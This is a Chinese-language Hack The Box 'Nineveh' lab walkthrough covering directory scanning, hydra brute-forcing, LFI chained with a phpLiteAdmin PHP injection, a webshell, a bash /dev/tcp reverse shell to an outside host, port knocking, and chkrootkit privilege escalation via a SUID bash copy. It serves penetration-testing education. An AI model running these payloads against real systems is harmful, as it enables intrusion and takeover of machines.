HTB-Nineveh

news2024/11/24 13:48:50

HTB-Nineveh

  • 信息收集
    • 80端口
    • 443端口
    • 80端口-新
    • 443端口-新
  • 立足
  • www-data -> amrois
  • amrois -> root
  • 其他有意思的地方
    • knock knock - Who's there?
    • socket type

请添加图片描述

信息收集

在这里插入图片描述
在这里插入图片描述

80端口

在这里插入图片描述
目录扫描
在这里插入图片描述
/info.php目录
在这里插入图片描述

443端口

在这里插入图片描述

目录扫描
在这里插入图片描述
在这里插入图片描述
这完全没头绪,估计是信息收集漏了东西,重新来一遍。

80端口-新

哈,我就知道。
在这里插入图片描述
当我输入admin会发现抱错变成了密码不可用,说明admin用户存在。
在这里插入图片描述
在这里插入图片描述
没有任何提示,尝试一下hydra的暴力破解。

在这里插入图片描述
在这里插入图片描述

443端口-新

多了张图片secure_notes
在这里插入图片描述
对443登录进行hydra暴力破解,hydra -l aster -P /usr/share/wordlists/rockyou.txt 10.10.10.43 -s 443 https-post-form "/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:F=Incorrect password." -v -t 64在这里插入图片描述
在这里插入图片描述
这有一篇利用的文章,大致类容就是我们可以通过创建一个php后缀的数据库文件并插入php代码实现php代码执行。在这里插入图片描述根据描述来做一遍,首先创建一个新数据库。
在这里插入图片描述
接着创建一个表,字段选一个。
在这里插入图片描述
然后输入字段名,类型为TEXT,默认值为<?php phpinfo()?>在这里插入图片描述

最后一步,需要我们运行它,但我们怎么运行它。创建完后可以返回查看更多信息。
在这里插入图片描述
比如数据库名,数据库路径,但是目前没有找到地方可以运行。
在这里插入图片描述
对两个端口分别做一次目录扫描看看。结果没有任何帮助,再次回头看80端口的department目录时候发现了引用notes的url路径有些可疑。
在这里插入图片描述
并且图片的路径也是。
在这里插入图片描述
怀疑可能存在LFI,测试输入ninevehNotes1.txt时出现了警告。
在这里插入图片描述
简单测试发现貌似url要包含files/ninevehNotes.txt才能够读取文件。
在这里插入图片描述
不包含就会这样。不会出现警告那些。
在这里插入图片描述
再次测试后更正前面的测试结果,url只需要包含files/ninevehNotes即可。
在这里插入图片描述
配合前面的数据库.php文件成功执行php代码。
在这里插入图片描述
现在有个问题如果我直接弄webshell,会遇到文件名长度限制。
在这里插入图片描述
所以需要优化一下LFI的payload,最终测试发现只用包含/ninevehNotes就可以,/ninevehNotes/../etc/passwd
在这里插入图片描述

立足

使用cmd=id,会发现目标把它当成文件名来处理了。
在这里插入图片描述
可以用/ninevehNotes/../var/tmp/aster.php&cmd=id来避开这个问题(建立webshell的时候用双引号来定义webshell的key,比如<?php system($_REQUEST["cmd"]);?>,单引号会被转义导致webshell不可用)。
在这里插入图片描述
与运算符"&"会被当做浏览器参数所以需要url编码,bash -c "bash -i >%26 /dev/tcp/10.10.14.31/443 0>%261"
在这里插入图片描述

www-data -> amrois

收集半天信息没有任何收获,只有在/var/www/ssl/secure_notes目录下有两个文件。
在这里插入图片描述
还有一个挑战。
在这里插入图片描述
所有线索都指向这张图片,对其使用strings发现了ssh的私钥以及公钥。
在这里插入图片描述

但是无法使用其登录amrois用户。binwalk表示nineveh.png还暗藏玄机。
在这里插入图片描述

加上-e参数分离。
在这里插入图片描述
又有许多东西,好好整理一下。
在这里插入图片描述
secret目录内的两个文件就是前面strings的ssh公钥私钥。
在这里插入图片描述

还有两个文件54和54.zlib暂时没有用处。在目标上查看进程发现了一个knockd。
在这里插入图片描述

knock是一个用来隐藏SSH的程序,客户端向服务端发送暗号对应上后才会从防火墙打开SSH服务器,断开后又会有新的暗号。查看一下knock的配置文件/etc/knockd.conf
在这里插入图片描述
openSSH中的序列就是暗号,也就是序列中的那几个号码,暗号需要按照序列的顺序来核对。那么我们怎么敲门呢?先做个实验,直接nmap对方22端口显示被过滤。
在这里插入图片描述
这时候我们开始敲门对暗号:knock 10.10.10.43 571 290 911

在这里插入图片描述

这时候目标已经对我们敞开了大门(要想关闭的话反过来敲一次即可)在这里插入图片描述

amrois -> root

使用pspy查看时间任务的时候发现很忙的样子。
在这里插入图片描述
这一堆东西的结果似乎都指向了/report目录。
在这里插入图片描述
根据结果知道,可能那一堆东西在检查某些二进制程序是否收到感染、一些可能会有敏感日志的位置是否存在日志等。
在这里插入图片描述
但是这一分钟生成一次,文件大小还是27K,久而久之会很吃空间的,所以猜测可能root或者amrois会有一个时间任务来清理一次。
在这里插入图片描述
在这里插入图片描述
另外在pspy64跑出来的进程中中我还发现了chown amrois:amrois /report/report-23-04-27:06:14.txt
在这里插入图片描述
如果是amrois用户自己的时间任务为啥还要修改用户和用户组,可能是root,也可能是诱饵。里面还有两个经常使用的脚本。

  • /bin/bash /root/vulnScan.sh
  • /bin/sh /usr/bin/chkrootkit

在这里插入图片描述
/usr/bin/chkrootkit是一个检查rootkit的工具。当我使用bash尝试启动它时出现了Permission denied。
在这里插入图片描述
但是我用sh启动尝试启动它出现了/bin/sh: 0: Can’t open /usr/bin/chkrootkit。
在这里插入图片描述
对bash和sh进行检查发现,/bin/sh链接到dash。dash最主要的目的是为了执行脚本,语言语法没有其他shell多,但是它执行脚本快。dash和bash都没有权限执行chkrootkit。
在这里插入图片描述
是的,看起来似乎没有入口,似乎无懈可击。但是对chkrootkit进行exploit搜索会有两个结果。
在这里插入图片描述
条件都满足,唯一不确定的是chkrootkit的版本。
在这里插入图片描述
在tmp创建一个update,内容如下:

#!/bin/bash
cp /bin/bash /tmp/bash
chmod u+s /tmp/bash

在这里插入图片描述
修改update权限为777后耐心等待。
在这里插入图片描述

其他有意思的地方

knock knock - Who’s there?

PS:(本人菜鸟一枚,可能错误地方非常之多,欢迎大家指出)
我很好奇knock是通过发送什么来与目标进行核对,tcp包?还是udp包?或者是其他有意思的玩意?
通过knock在/etc/knockd.conf配置文件中能看到它通过暗号后向防火墙添加规则的命令:start_command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
向防火墙插入一条规则(-I),允许(-j ACCEPT)成功匹配暗号的IP(-s %IP%)发送tcp的数据包(-p tcp)到本地的22端口(--dport)。由于没有找到knock的源码(可能我忽略了什么),所以用我仅有的能力去逆向并尝试找到knock的关键。

knock向目标敲门的时候会发送hitting,表示正在敲门。
在这里插入图片描述
最先开始创建套接字,地址族为ai_family,套接字类型为SOCK_DGRAM(基于UDP),使用缺省的连接方式连接。
在这里插入图片描述
然后进行判断是否socket成功。
在这里插入图片描述
接着在处理主机名和端口正确的情况下,根据我们选择TCP还是UDP。
在这里插入图片描述
v9会创建我们选择的TCP套接字或UDP套接字。经过对主机、口令验证检查后打印出来。接着就是调用connect函数进行TCP连接。通过socket对目标及端口进行knock。
在这里插入图片描述
发送完后就进行结束处理的环节,然后准备处理下一个暗号。
在这里插入图片描述
所以knock是通过向目标端口发送TCP/UDP包,目标的knock收到并做一些记录表示完成暗号配对。所以我们也可以通过nmap来向目标发送tcp包。在这里插入图片描述
倒着敲门关闭大门后nmap对22端口的tcp包已被过滤。
1
对目标进行TCP发包nmap -Pn -p 571,290,911 10.10.10.43(-Pn 跳过发送ICMP包的过程,也就是默认目标存活),但nmap会帮我们按照端口大小顺序排序后发送TCP SYN包,所以不能用这种办法。

在这里插入图片描述

将重新发包次数设置为0后再次尝试。for port in {571,290,911};do nmap -Pn --max-retries 0 -p $port 10.10.10.43;done

在这里插入图片描述
不知道knock会不会对敲门的时间进行判断,以防万一还是加上--host-timeout参数for port in {571,290,911};do nmap -Pn --max-retries 0 --host-timeout 100 -p $port 10.10.10.43;done

但为什么nmap只用SYN包就能够完成一次TCP握手呢?首先大致看看TCP三次握手:

  1. 客户端第一次发送的SYN包给服务端表示来握手服务端收到
  2. 服务器收到后恢复ACK包给客户端表示可以,客户端收到后设置为单向和服务端连接
  3. 客户端向服务端发送SYN/ACK,服务端收到后设置为单向和客户端连接,此时TCP连接成功。

nmap 默认是SYN扫描,官方文档有写道。
在这里插入图片描述

而逆向所知道socket的类型是SOCK_STREAM ,是需要三次完全握手的,但如果我使用-sT全扫描,似乎knock并不接受三次握手。
在这里插入图片描述
至此,菜鸟的我对其分析结果如下:knock是以TCP SYN来对暗号,如果正确就返回ACK,不需要再次返回一次SYN/ACK,而只需要你问我答两次即可。

socket type

struct addrinfo结构体相关变量及其含义可以看看Stoneshen1211写的文章

enum sock_type {
SOCK_STREAM = 1,
SOCK_DGRAM = 2,
SOCK_RAW = 3, 
SOCK_RDM = 4, 
SOCK_SEQPACKET = 5, 
SOCK_DCCP = 6, 
SOCK_PACKET = 10,
};

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/472022.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

NCR被攻击后服务中断!原是BlackCat勒索软件作祟

近日&#xff0c;在遭到BlackCat勒索软件攻击后&#xff0c;NCR 的 Aloha 销售点平台出现中断。 NCR公司是全球关系管理技术解决方案领导供应商&#xff0c;为全球零售、金融、传讯、制造、旅游、交通及保安等客户提供服务。凭著累积多年的业界知识、专业顾问经验、专业增值应用…

手把手教你本地CPU环境部署清华大模型ChatGLM-6B,利用量化模型,本地即可开始智能聊天,达到ChatGPT的80%

大家好&#xff0c;我是微学AI&#xff0c;今天教你们本地CPU环境部署清华大ChatGLM-6B模型&#xff0c;利用量化模型&#xff0c;每个人都能跑动大模型。ChatGLM-6B是一款出色的中英双语对话模型&#xff0c;拥有超过62亿个参数&#xff0c;可高效地处理日常对话场景。与GLM-1…

数据备份系列:Rsync 备份详解(一)

一、Rsync 简介 1.1 Rsync 是一个远程增量文件备份软件工具 1.2 Rsync 的特性 支持拷贝特殊文件&#xff0c;如连接文件、设备等。可以有排除指定文件或目录同步的功能&#xff0c;相当于打包命令 tar 的排除功能。可以做到保持原文件或目录的权限、时间、软硬链接、属主、组…

MySQL中的锁有哪些,作用是什么?

概述&#xff1a; 锁最要是用来实现MySQL的隔离性。我们都知道事务有四大特性分别是&#xff1a;原子性、一致性、隔离性、持久性&#xff0c;即所说的ACID。 一、什么是ACID 1、原子性&#xff1a;事务中包含有很多操作&#xff0c;这些操作要么全部执行&#xff0c;要么全…

ShareSDK 抖音平台注册

注册开发者账号 进入抖音开放平台 &#xff1a;抖音开放平台 登录/注册账户 进入[控制台] —> [移动应用] —> [认证企业资质] 完成认证后提交 创建应用 进入[控制台] —> [移动应用] —> [创建移动应用] 填写相关信息同意隐私协议后提交 这里必须要填写好自己的…

移动端click事件300ms延迟

文章目录 移动端click事件300ms延迟问题原因解决将click事件放在touchstart或touchend中处理禁止双击缩放 移动端click事件300ms延迟 问题 在移动端中&#xff0c;点击屏幕的按钮会产生200~300ms的延迟响应&#xff0c;会导致用户认为页面卡顿问题。 如下&#xff1a; <…

备战2个月,四轮面试拿下字节offer...

背景 菜 J 一枚&#xff0c;本硕都是计算机&#xff08;普通二本&#xff09;&#xff0c;2021 届应届硕士&#xff0c;软件测试方向。个人也比较喜欢看书&#xff0c;技术书之类的都有看&#xff0c;最后下面也会推荐一些经典书籍。 先说一下春招结果&#xff1a;拿下了四个…

C++11中的线程类

前面介绍的线程是利用了POSIX线程库&#xff0c;这是传统C/C程序员使用线程的方式&#xff0c;而C11提供了语言层面使用线程的方式。 C11新标准中引入了5个头文件来支持多线程编程&#xff0c;分别是atomic、thread、mutex、condition_variable和future。 atomic&#xff1a;该…

spring事物初始化过程分析

1.注入4个bd InfrastructureAdvisorAutoProxyCreator 父类&#xff1a;AbstractAutoProxyCreator BeanFactoryTransactionAttributeSourceAdvisor 父类&#xff1a;Advisor TransactionInterceptor 父类&#xff1a;Advice AnnotationTransact…

SpringBoot整合Druid配置多数据源

目录 1.初始化项目 1.1.初始化工程 1.2.添加依赖 1.3.配置yml文件 1.4.Spring Boot 启动类中添加 MapperScan 注解&#xff0c;扫描 Mapper 文件夹 1.5.配置使用数据源 1.5.1.注解方式 1.5.2.基于AOP手动实现多数据源原生的方式 2.结果展示 Mybatis-Plus:简介 | MyBat…

DGMIL:分布引导的WSI分类多实例学习

文章目录 DGMIL: Distribution Guided Multiple Instance Learning for Whole Slide Image Classification摘要本文方法Cluster-Conditioned Feature Distribution ModelingPseudo Label-Based Feature Space Refinement 实验结果 DGMIL: Distribution Guided Multiple Instanc…

花了几百万,上的软件全成了垃圾,数字化转型不是这么搞的!

企业信息化建设很复杂&#xff0c;不同的行业、业务部门对应的选型、评估方式都是不一样的&#xff0c;如果真有这样一套选型标准的出现&#xff0c;那多半掺水&#xff0c;不可信。 现在市面上比较多且还算通用的&#xff0c;都是从行业角度出发的评判标准&#xff0c;下面给…

记录 docker linux部署jar

第一步 web sso user admin 中yml文件还原到阿里mysql数据库 第二步 各个jar进行打包处理 第三步 正式服务器的Jar备份 第四步 拉取以上jar包 到正式服务器中 第五步 查看 docker images 其中 web_service 1.0.2是上一个版本 上一个版本build 镜像命令是这样的&#xff08;需…

代码评审平台Gerrit安装配置方法介绍

Gerrit是一款开源免费的基于 web 的代码审查工具&#xff0c;是基于 Git 的版本控制系统。在代码入库之前对开发人员的提交进行审阅&#xff0c;检视通过的代码才能提交入库。本文记录如何安装部署gerrit平台。 目录 Gerrit简介环境准备1. 安装Java2. 安装Git3. 安装nginx4. 安…

宝塔面板+悟空CRM功能模块安装搭建部署教程 环境配置

悟空CRM目录结构 wk_modules ├── module – 无代码模块 ├── common – 基础模块 平台使用的主要技术栈 名称 版本 说明 spring-cloud-alibaba 2021.0.4 核心框架 spring-boot 2.6.11 spring版本 mybatis-plus 3.5.2 ORM框架 nacos 2.1.0 注册中心以及配置管理 seata 1.2.…

论文笔记:A Simple Framework for Contrastive Learning of Visual Representations

0 简介 论文&#xff1a;A Simple Framework for Contrastive Learning of Visual Representations 代码&#xff1a;https://github.com/google-research/simclr 发表&#xff1a;2020年发表在ICML会议上 1 核心思想 如何构建对比学习的比较对象&#xff1f;本文按如下方式…

国民技术N32G430开发笔记(8)- 内部Flash的读写操作

N32G430 内部Flash的读写操作 1、主存储区最大为 64KB&#xff0c;也称作主闪存存储器&#xff0c;包含 32 个 Page&#xff0c;用于用户程序的存放和运行&#xff0c;以及数 据存储。 每一页的大小为2K字节 2、IAP 升级我们将64K的flash分区如下&#xff1a; Boot 0x800000…

scanf老是出错?带你详细解决输入缓冲区问题

文章目录 1.前言2.getchar 和 putchar3.缓冲区问题3.1先观察一个代码3.2输入缓冲区3.3清除缓冲区 结尾 1.前言 我们一般在进行输入输出的时候&#xff0c;就会用到 scanf / printf 。并且根据格式指定可以输入输出各种类型的数据。可以输入整形&#xff0c;字符&#xff0c;浮…

【元分析研究方法】学习笔记4.评估研究的质量

评估研究的质量 该步骤的作用该步骤中需要注意的问题该步骤中知识点1&#xff1a;判断编码的分类方式该步骤中知识点2&#xff1a;统计识别异常值 参考来源&#xff1a;库珀 (Cooper, H. M. )., 李超平, & 张昱城. (2020). 元分析研究方法: A step-by step approach. 中国人…

SpringBoot的事务与锁

在一人一单问题里&#xff0c;为什么加了事务还是会出现一人下多单呢&#xff1f; 本质的原因是&#xff0c;我们使用Java的对象锁&#xff0c;可以保证临界区只有一个线程访问&#xff0c;但是这和SpringBoot里加Transactional注解不是等价的。数据库里的事务保证的是要么全部…